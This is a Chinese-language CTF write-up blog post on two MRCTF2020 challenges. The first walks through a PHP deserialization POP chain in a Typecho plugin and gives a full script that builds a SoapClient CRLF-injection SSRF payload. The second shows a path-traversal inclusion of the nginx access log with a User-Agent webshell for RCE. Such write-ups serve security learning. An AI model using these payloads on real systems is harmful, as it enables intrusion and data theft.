MRCTF2020

[MRCTF2020]Ezpop_Revenge

www.zip源码泄露,下载下来审计一下,有一个flag.php,看起来是需要SSRF漏洞的因为需要你访问的来源是127.0.0.1

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
$_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

毕竟是框架题,看了一下,应该是要反序列化找ssrf的漏洞的位点然后去打,全局搜索一下反序列化函数,可以发现,我们传入的coincidence[‘hello’], $this->coincidence[‘world’]会被分为两个部分传入Typecho_Db

<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __wakeup(){
$db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
}
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
public function action(){
if(!isset($_SESSION)) session_start();
if(isset($_REQUEST['admin'])) var_dump($_SESSION);
if (isset($_POST['C0incid3nc3'])) {
if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
unserialize(base64_decode($_POST['C0incid3nc3']));
else {
echo "Not that easy.";
}
}
}
}
?>

传入之后,在这里进行进行了一个拼接,并在最后实例化了这个类,可以看到这里提示了一个tostring
方法,所以我们就去找找Typecho_Db,看看是否有这个tostring方法,可以进行操作

public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}

可以发现,这里有一个tostring方法可以进行操作,其实链子到这里就似乎已经断了,但是该如何实现ssrf呢?就要想到一个php的内置类soapclient,而这里有个点,_adapter->parseSelect,如果将adapter赋值为这个类,那么就会调用这个类中不存在的方法,相当于触发了其中的call函数,并且这里还有可控的参数供我们写入

class Typecho_Db_Query
{
const KEYWORDS = '*PRIMARY|AND|OR|LIKE|BINARY|BY|DISTINCT|AS|IN|IS|NULL';
private static $_default = array(
'action' => NULL,
'table' => NULL,
'fields' => '*',
'join' => array(),
'where' => NULL,
'limit' => NULL,
'offset' => NULL,
'order' => NULL,
'group' => NULL,
'having' => NULL,
'rows' => array(),
);
private $_adapter;
private $_sqlPreBuild;
private $_prefix;
private $_params = array();
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

梳理一下pop链的逻辑
1.HelloWorld_Plugin为pop链反序列化的入口,跳转至HelloWorld_DB类中进行Typecho_Db进行一个初始化,并通过concidence传入数值
2.通过tostring跳转至Typecho_Db的tostring魔术方法中
3.针对adatpter的一个调用赋值为sopa类并进行sopa类的call方法的调用,最后利用这个call方法进行一个ssrf发送报文实现flag的获取

所以初步的一个pop链就是

<?php

class HelloWorld_DB
{
private $flag = "MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct()
{
$this->coincidence=array("hello"=>new Typecho_Db_Query());
}

}
class Typecho_Db_Query
{

function __construct()
{

$this->_adapter = new SoapClient();
$this->_sqlPreBuild=array("action"=>"SELECT");
$this->_adapter=new SoapClient;

}
}

但是我们要将flag带出来,还需要吧自己的phpsessid传过来,然而soap并不能设置cookie,因此需要crlf,soapclient可以这只ua,只要在ua后加上\r\nCookie:PHPSESSID=xxx,就可以为http头添加一个新的cookie字段,这样就可以带出session了,最后就是寻找一下其中的路由即可,
在/var/Typecho/Plugin.php 就有如下路由

 */
public static function activate($pluginName)
{
self::$_plugins['activated'][$pluginName] = self::$_tmp;
self::$_tmp = array();
Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
}

但是在后面看了题解,发现这题有一个坑,就是这里private属性不能单纯的使用%00绕过需要将其转为十六进制才行
所以最终的脚本如下:

<?php

class HelloWorld_DB
{
private $flag = "MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct()
{
$this->coincidence=array("hello"=>new Typecho_Db_Query());
}

}
class Typecho_Db_Query
{
private $_adapter;
private $_sqlPreBuild;
function __construct()
{
$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=abcd'
);

$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$this->_adapter = $a;
$this->_sqlPreBuild=array("action"=>"SELECT");

}
}
function decorate($str)
{
$arr = explode(':', $str);
$newstr = '';
for ($i = 0; $i < count($arr); $i++) {
if (preg_match('/00/', $arr[$i])) {
$arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
}
}
$i = 0;
for (; $i < count($arr) - 1; $i++) {
$newstr .= $arr[$i];
$newstr .= ":";
}
$newstr .= $arr[$i];
return $newstr;
}

$a = new HelloWorld_DB();
$a = preg_replace(" /\^\^/", "\r\n", $a);
$urlen = urlencode($a);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$a = decorate(urldecode($urlen));
echo base64_encode($a);

但是很奇怪,用这个生成的payload打不通,于是我们来比对看看是哪里出了问题,测试了一下,原来问题出在http头的书写过程中

$target = "http://127.0.0.1/flag.php";
$post_string = '';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=abcd'
);

$a = new SoapClient(null,array('location' => $target,
'user_agent'=>"eki\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
'uri' => "aaab"));
$this->_adapter = $a;

ALL_INFO_YOU_WANT

这种解法比较签到,是常规思路,这题的定位本来就是个白给的题目,所以就没改掉日志

由 http 回包 header 得知是 NGINX,直接:

all_info_u_want.php?file=../../../../../var/log/nginx/access.log

但是因为 url 会被 url 编码,可以把一句话木马写在 User-Agent,另外记得一定要闭合不然 php 执行会出错,包含即可 RCE
找flag新语句:通过文件内容找flag

find / -name "*" | xargs grep "flag{"
Author

vague huang

Posted on

2021-10-10

Updated on

2022-09-22

Licensed under

Comments